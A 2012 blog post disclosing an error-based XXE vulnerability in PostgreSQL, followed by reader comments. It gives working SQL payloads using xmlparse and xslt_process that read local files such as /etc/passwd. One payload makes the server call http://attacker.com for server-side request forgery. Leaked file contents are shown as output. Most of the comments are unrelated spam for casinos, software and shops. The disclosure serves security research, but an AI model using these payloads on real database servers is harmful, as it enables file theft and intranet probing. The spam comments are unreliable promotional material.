пятница, 1 июня 2012 г.

PostgreSQL (all) error-based XXE 0day

Recently we found and published at PHDays PostgreSQL 0day error-based XXE vulnerability.
Currently it may be used by attacker to read parts of local files and make requests from DB server to intranet (SSRF - Server Side Request Forgery).

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/dev/random">]><content>&abc;</content>')

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "http://attacker.com/?xxe=OK">]><content>&abc;</content>')

Error-based XXE:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

ERROR:  invalid XML document
DETAILS:  /etc/network/if-up.d/mountnfs:28: parser error : StartTag: invalid element name
exec 9<&0 </etc/fstab       ^
/etc/network/if-up.d/mountnfs:28: parser error : xmlParseEntityRef: no name
exec 9<&0 </etc/fstab        ^
/etc/network/if-up.d/mountnfs:28: parser error : chunk is not well balanced
exec 9<&0 </etc/fstab          ^
Entity: line 1: parser error : Failure to process entity abc
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;
Entity: line 1: parser error : Entity 'abc' not defined
E content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;                                                                               ^
Classical XXE from XSLT transformation found.
Reading any data are possible also:

SELECT xslt_process('<!DOCTYPE employee [<!ENTITY asd SYSTEM "/etc/passwd">] ><employee><name>&asd;</name><age>30</age><pay>400</pay></employee>'::text, $$<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"><xsl:template match="*">  <xsl:element name="samples">    <xsl:element name="sample"><xsl:value-of select="//employee/name/text()"/> </xsl:element>  </xsl:element></xsl:template></xsl:stylesheet>$$::text, 'n1=v1,n2=v2,n3=v3,n4=v4,n5=v5'::text);
 <?xml version="1.0"?>
 list:x:38:38:Mailing List Manager:/var/list:/bin/sh
 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
 nslcd:x:101:103:nslcd name service LDAP connection daemon,,,:/var/run/nslcd/:/bin/false
 puppet:x:109:111:Puppet configuration management daemon,,,:/var/lib/puppet:/bin/false
 alexandro:x:1000:1000:Alexander Golovko,,,:/home/alexandro:/bin/bash
 mysql:x:103:105:MySQL Server,,,:/var/lib/mysql:/bin/false
 postgres:x:104:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

(1 row)

26 комментариев:

  1. I'd like to notice that xslt_process is from xml2 postgres module, which is being deprecated [1]. E.g. in psql 9.1.3 it is turned off by default.

    PS. That's why I wasn't able to discover this file-reading during phdays =)

    [1] http://www.postgresql.org/docs/9.1/static/xml2.html

  2. Thanks for sharing, nice post! Post really provice useful information!

    Giaonhan247 chuyên dịch vụ mua hộ hàng mỹ với các mặt hàng từ pandora úc hay từ web ebay việt nam cùng với bảng giá gửi hàng đi mỹ uy tín, giá rẻ.

  3. If you found any login related issue in your Quickbooks software, you can download Quickbooks Tool Hub which is the hub of all necessary tools which are used to diagnose issues. It can fix all minor and major issues.

  4. Hi! This is my first visit to your blog! We are a team of volunteers and new initiatives in the same niche. Blog gave us useful information to work. You have done an amazing job Feel free to visit my website; 카지노사이트링크

  5. Nice one! Thank you for sharing this post. Your blog posts are more interesting and impressive. Feel free to visit my website; 온라인카지노사이트넷

  6. The most common legal entity (business) established in Latvia, Lithuania and Estonia is a limited liability company, also known as LLC. This type of enterprise provides its owner with business opportunities while limiting the risk of direct investment and without affecting his personal obligations. There are no restrictions on the creation of a company - an enterprise can be created by a resident, non-resident or legal entity. In Latvia the LLC is called SIA, in Estonia - OÜ, and in Lithuania - UAB. https://www.baltic-legal.com/business-support-services-eng.htm

  7. There are certainly a lot of details like that to take into consideration. That is a great point to bring up. I offer the thoughts above as general inspiration but clearly there are questions like the one you bring up where the most important thing will be working in honest good faith. I don?t know if best practices have emerged around things like that, but I am sure that your job is clearly identified as a fair game. Both boys and girls feel the impact of just a moment’s pleasure, for the rest of their lives.

    Click Here
    Visit Web

  8. You have a great blog here! would you like to make some invite posts on my blog?

    Click Here
    Visit Web

  9. If you're looking for fitness band in India here you can buy. Get best fitness band under 2000 get the best fitness tracker now and best tracker in India. best fitness band in india under 2000

  10. Get your hands on best convection microwave oven in India under 10000 wide range available.
    Buy now! best convection microwave oven india

  11. Hi! Quick question that’s totally off topic.

    Do you know how to make your site mobile friendly? My website looks weird when browsing from my apple iphone. I’m trying to find a template or plugin that might be able to correct this problem. If you have any suggestions, please share.

    Appreciate it!


  12. برای مشاوره در زمینه خرید فیلتر تصفیه استخر در انواع مختلف، ما به شما فروشگاه فراتاسیسات را پیشنهاد می‌کنیم. مشاوران این شرکت بهترین راهنمایی‌ها در زمینه خرید انواع تجهیزات استخر در تهران و ارسال به تمامی ایران را دارند. از جمله خرید خرید فیلتر شنی ایماکس و سایر انواع صافی‌ها و تجهیزات مرتبط با تصفیه استخر را به‌صورت رایگان در اختیار شما قرار می‌دهند. بعلاوه، این شرکت کلیه خدمات مرتبط با انواع استخر و جکوزی از جمله راه‌اندازی سیستم گرمایش استخر در تهران را با مناسب‌ترین قیمت و با بهترین کیفیت ارایه می‌کند.